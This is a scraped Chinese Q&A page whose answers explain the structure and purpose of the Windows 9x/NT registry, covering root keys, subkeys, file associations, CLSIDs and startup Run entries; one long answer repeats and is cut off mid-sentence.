注册表采用“关键字”及其“键值”来描述登录项及其数据。所有的关键字都是以“HKEY”作为前缀开头。打个比喻来说,关键字更象Windows9X下的浏览器里的目录下的文件,每个文件都会有自己特有的内容和属性。我们可以在注册表编辑器下很方便地添加、修改、查询和删除注册表的每一个关键字。关键字可以分为两类:一类是由系统定义,一般叫做“预定义关键字”;另一类是由应用程序定义的,根据应用软件的不同,登录项也就不同。在注册表中,所有的数据都是通过一种树状结构以键和子键的方式组织起来,十分类似于目录结构。每个键都包含了一组特定的信息,每个键的键名都是 和它所包含的信息相关的。如果这个键包含子键,则在注册表编辑器窗口中代表这个键的文件夹的左边将有“+”符号,以表示在这个文件夹中有更多的内容。如果这个文件夹被用户打开了,那么这个“+”就会变成“-”。 下面我们对系统预定义的六大根键简单地介绍一下。 1.HKEY_USERS 该根键保存了存放在本地计算机口令列表中的用户标识和密码列表,即用户设置。每个用户的预配置信息都存储在HKEY_USERS根键中。HKEY_USERS是远程计算机中访问的根键之一。其内容取决于计算机是否激活了用户配置文件,若未激活用户配置文件,则可以看到称为.DEFAULT的单一子键,该子键包括和所有用户相关的各种设置,并且和Windows下的USER.DAT文件相配合。若激活了用户配置文件并且正确地执行了登录,则还有一个“用户名”的子键,该用户名为用户登录的名称。 2.HKEY_CURRENT_USER 该根键包含本地工作站中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码(注:此密码在输入时是隐藏的)。用户登录Windows 98时,其信息从HKEY_USERS中相应的项拷贝到HKEY_CURRENT_USER中。HKEY_CURRENT_USER下面有7个子关键字。其中除RemoteAccess”外,其余6个都为系统预定义。 AppEvents 这个子键里登记已注册的各种应用事件。 ControlPanel 它里面涉及到控制面板设置有关的内容。 InstallLocationsMRU windows安装路径的有关信息。 Keyboardlayout 关于键盘设置的信息。 Network 有关网络设置的信息。 RemoteAccess 安装IE 时建立的子关键字,包含该应用程序的有关信息。 Software 软件的有关信息。 3.HKEY_CURRENT_CONFIG 该根键存放着定义当前用户桌面配置(如显示器等)的数据,最后使用的文档列表(MRU)和其他有关当前用户的Windows 98中文版的安装的信息。 4.HKEY_CLASSES_ROOT 该键由多个子键组成,具体可分为两种:一种是已经注册的各类文件的扩展名,另一种是各种文件类型的有关信息。左栏中的子键就是各种已经注册的文件扩展名。 注册表内己经登记的文件扩展名中,有系统默认和应用程序自定义的扩展名。应用程序只有把自定义的扩展名在注册表中登记,系统才能识别和关联使用有关的文档,但只有经过注册的扩展名,系统才能自动关联。根据在Windows 98中文版中安装的应用程序的扩展名,该根键指明其文件类型的名称。 在第一次安装Windows 98中文版时,RTF(Rich Text Format)文件与写字板(WordPad)联系起来,但在以后安装了中文Word 6.0后,双击一个RTF文件时,将自动激活Word。存放在SYSTEM.DAT中的HKEY_CLASSES_ROOT,将替代WIN.INI文件中的[Extensions]小节中的设置项,它把应用程序与文件扩展名联系起来,它也替代了Windows 3.x中的Reg.dat文件中的相似的设置项。 5.HKEY_LOCAL_MACHINE 注册表的核心,计算机的各种硬件和软件的配置均存在于此。它包括以下八个部分:Config配置、Driver驱动程序、Enum即插即用、Hardware硬件、Network网络、Security安全、Software软件、System系统。每部分中又包括许多子键。该根键存放本地计算机硬件数据,此根键下的子关键字包括在SYSTEM.DAT中,用来提供HKEY_LOCAL_MACHINE所需的信息,或者在远程计算机中可访问的一组键中。该根键中的许多子键与System.ini文件中设置项类似。 6.HKEY_DYN_DATA 该根键存放了系统在运行时动态数据,此数据在每次显示时都是变化的,因此,此根键下的信息没有放在注册表中。
2023-07-20 11:13:144

请问一下注册表是什么玩意 他的作用是什么?

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”句,?/div>
2023-07-20 11:13:436

注册表是干什么用的

注册表(Registry,繁体中文版Windows操作系统称之为登录档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Microsoft Windows 95操作系统开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用。
2023-07-20 11:14:024

什么是注册表,注册表在哪里,它又起什么作用呢?请各位高手指教!谢谢啦!

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 